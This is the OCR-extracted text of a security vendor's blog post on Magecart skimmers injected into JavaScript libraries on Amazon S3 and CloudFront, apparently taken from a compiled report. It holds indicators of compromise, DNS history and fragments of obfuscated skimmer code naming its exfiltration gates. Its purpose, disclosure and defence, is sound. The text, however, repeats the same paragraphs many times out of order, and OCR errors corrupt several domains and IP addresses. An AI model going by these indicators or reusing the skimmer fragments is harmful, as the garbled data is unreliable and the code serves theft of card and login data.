RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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The skimmer was inserted in this JavaScript library:

hxxps://s3[.]Jamazonaws[ . ]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNs are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.

Page 160 of 351


https://www.virustotal.com/gui/domain/installw.com/relations
https://www.virustotal.com/gui/domain/installw.com/relations
https://web.archive.org/web/20190122172555/https://s3.amazonaws.com/wsaimages/js/wizards.js
https://urlscan.io/result/a8e13fdc-d4e9-4218-8be8-67875a515f6c
https://aws.amazon.com/cloudfront/
https://aws.amazon.com/s3/

https://blog.malwarebytes.com /threat-analysis /2019 /06 /magecart-skimmers-found-on-amazon-cloudfront-cdn/

" Progress Telerik Fiddler Web Debugger - EKFiddle v.0.9.1
File Edit Rules Teools Wiew Help Links
QuickSave UImode YPM Proxy Import SAZ/PCAP Update/View Regexes Run Regexes Clear Markings C,

Protocol Method Host  LIRL Body

s3-ca-central-1.amazonaws. com fis/full-screen-menu.js 12,214
s3-ca-central-1.amazonaws. com || 1 fisfdropdown. js 9,166

s3-ca-central-1.amazonaws. com fisfinput-number-ncrement. js 10,471
s3-ca-central-1.amazonaws. com fisfinput-progress. js 12,390
s3-ca-central-1.amazonaws. com fis/main-menu-mover.js 9,347
s3-ta-central-1.amazonaws. com fiz/progress-demo.js 10,297
s3-ta-central-1.amazonaws. com fisfform-collapse-workflow.js 11,649
s3-ta-central-1.amazonaws. com fis/svgdeverybody.min.js 10,880
53 e 9,980
53 9,166
53

I'u I'u I:u IIJ IIJ IIJ I:..u I:..u Iu

(3) Statistics | - Inspectors | £ AutoResponder | [ Composer | [f5] Fiddler Orchestra Beta | ‘5z Fiddlerscript | =

IHeaders | Textview | SyntaxView | WebForms | HexWiew | Auth | Cookies | Raw | 150M | ML |

Transformer | Headers ||Text'l.ﬁew | Syntaniiew | ImageView | HexWiew | Webliew | Auth | Caching |

Sithis).removeClass{show’);
Sithis).dequeuel);

frar (b3 7a=[ b b8 wcdle eda b2 oehd ehe w30 b 1005 T B oc 7 3'0cb 10eh8 ot 70 b orha oed 1 e 30 e 3, e 1 o8 acdle
75 o5 oA Thoc55 e 3d” o6 1 e85 20 30 e F e Bhocd el o 36 e e 79 o 3T oo o5 e Thoc 14 o T4 o5 T 3 B
X585 75957 78\ 70 5 cd T3 355 32 46 032 5 56 A2 BB 3wl w74 55 32

eaSendDataDomainTrySendIMGGetimagelrl?
reff=onreadystatechangesetintervalreplacetestlengthcharAtorientation2=Function
s dispatchEventinnerwidthinnerHeightverticalhorizontalFirebugchrom@ pllii
(1238700 char? (236519, D«
| 1190 [CuuTm U J=function(_(dbb 7bb)ivar _(x390ae2=atobl_Rdbb7bb)var _Ee3bbeS=[lforjvar _(1dch08=<0x0,_kdd
HecodeURIComponent{_(e35bc5)}_O1196[TxGHBR =0 _ 0 156[Jz0W Ty =l var _(ed541ae=_0x1156[ TxGHERTL
{b(ZcEde}functmn &cﬁﬂﬂﬂnﬁ{_ﬁcﬁaﬁﬁec (ec063ab, _(k3dchf 3retum {kcﬁaﬁﬁecL{kHﬂ::{'{b:ﬂ'}]{new RegExp(_kc065a

[4n11a o o i

(bZ?cbdb2=_(b

Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)
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Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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4 » 9 characters selected

The skimmer was inserted in this JavaScript library:

hxxps://s3[.]Jamazonaws[ . ]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNs are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com

o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
- TQASN 55933
451148150 1 - /

-

a / | E25.1148.160
e '

— IN\\‘H E945.114.8.161
i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.

l= | @] 32 |

e Wayback Machine ¥ +
< C @ https://web.archive.org/web/201905.. & & :
[https:/icloudfront. |[Go ] PR

37 captures

17 May 2018 - 30 May 2019 rARR L=

6O

1i"}y.slice(8).hide(), contDleess style display="none",contDivMors
.style.display="block") }@<document.guerySelectorAll{".Recipe_arti
cle "4ald).length&&getMoreldrLessCont("","","onload",ald};

var _8x19f5=

[ AxE1Nx57 W35\ x75 \x5a \ X588\ xda \ x40\ x5a K57 \xEec \ k62 \xB 1\ x4B \ k51 \x3
d’, el a7 ISR T NE 1\ KE B\ KT\ NT B\ e 2\ e\ WS 2\ 6B\ B2 g 1w 3dh

I e G ate http» ,fffcnt—asseb com/img | pdix3d’, " x59x32
BB \KTIWKE2 w3 2N o . gernenxod \xBch K30\ Bl \x

5?&x46\x?31x51\x58&x?9&x6c&x5&\x41\x3dix3d' UoeBd\ s 735 \xeb\x5a
WET G \ K Ta N\ e 2\ Ed \ 56\ xBb ", "\ x5a BB\ BB\ T T A NE 2\ 33\ da \ w30

=@ 2 ]

& Wayback Machine b +
< C @ https://web.archive.org/web/2019052.. ¥+ & :
[https://cloudfront. |[Go ] AFF
37 captures v

1T May 2019 - 20 May 2018 FARY b

splay="block"):"less"==operation&& {3 "#"+id+" -
1i"y.slice(8).hide(),contDiviess.style.display="none", contDivMors
.style.display="block")}@<document.guerySelectorAll{".Recipe_arti
cle "4aId).length&&getMoredrlessCont("","","onlead"”,ald);

Var _@x2edd=

[ Ax52%x324x 5B x3@\x 53\ X573 1\ xBB \ x2a \ X3 2\ x50, x5 6 \x63 \xed \ 77 \x3
d’, " hE2 NI Z KIS\ KT\ NEE A KE T R AE \MED \ B W KEE \ wd e\ 3@ KSR\ N5 R 52N
x6C x589\ 32168 ey Ty http'-: ,.",n"cdn |r1'|gcloud com/imZ ihRsEht At

W 5AN wEA \ xd T\ wdB DM TA BT\ wAT Y,
WTE B\ e d \ WA 7\ =55 \x3d ", 'Rx53\x32\x56\xBE\xSBKxS?KxBS\xBE\anKx5
et w325\ WET T T 3d Y, e\ med \ e R\ N T T A RE 2\ a7 nde \ wba wEah
¥51hx3dhx3d ", e\ AT ANEE\NTa \ B4\ x4\ x3d 1 3d ", B2\ AT\ KBTS

R e B LT T R = ] LR T R T | R I TN s L T R e A T o R L] LR L T T |

Page 173 of 351


https://www.riskiq.com/blog/labs/cloudcms-picreel-magecart/
https://abuse.ch/
https://www.shadowserver.org/
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/comparison_.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/comparison_.png

https://blog.malwarebytes.com /threat-analysis /2019 /06 /magecart-skimmers-found-on-amazon-cloudfront-cdn/

A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com

o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
- TQASN 55933
451148150 1 - /

-

a / | E25.1148.160
e '

— IN\\‘H E945.114.8.161
i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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The skimmer was inserted in this JavaScript library:

hxxps://s3[.]Jamazonaws[ . ]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNs are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

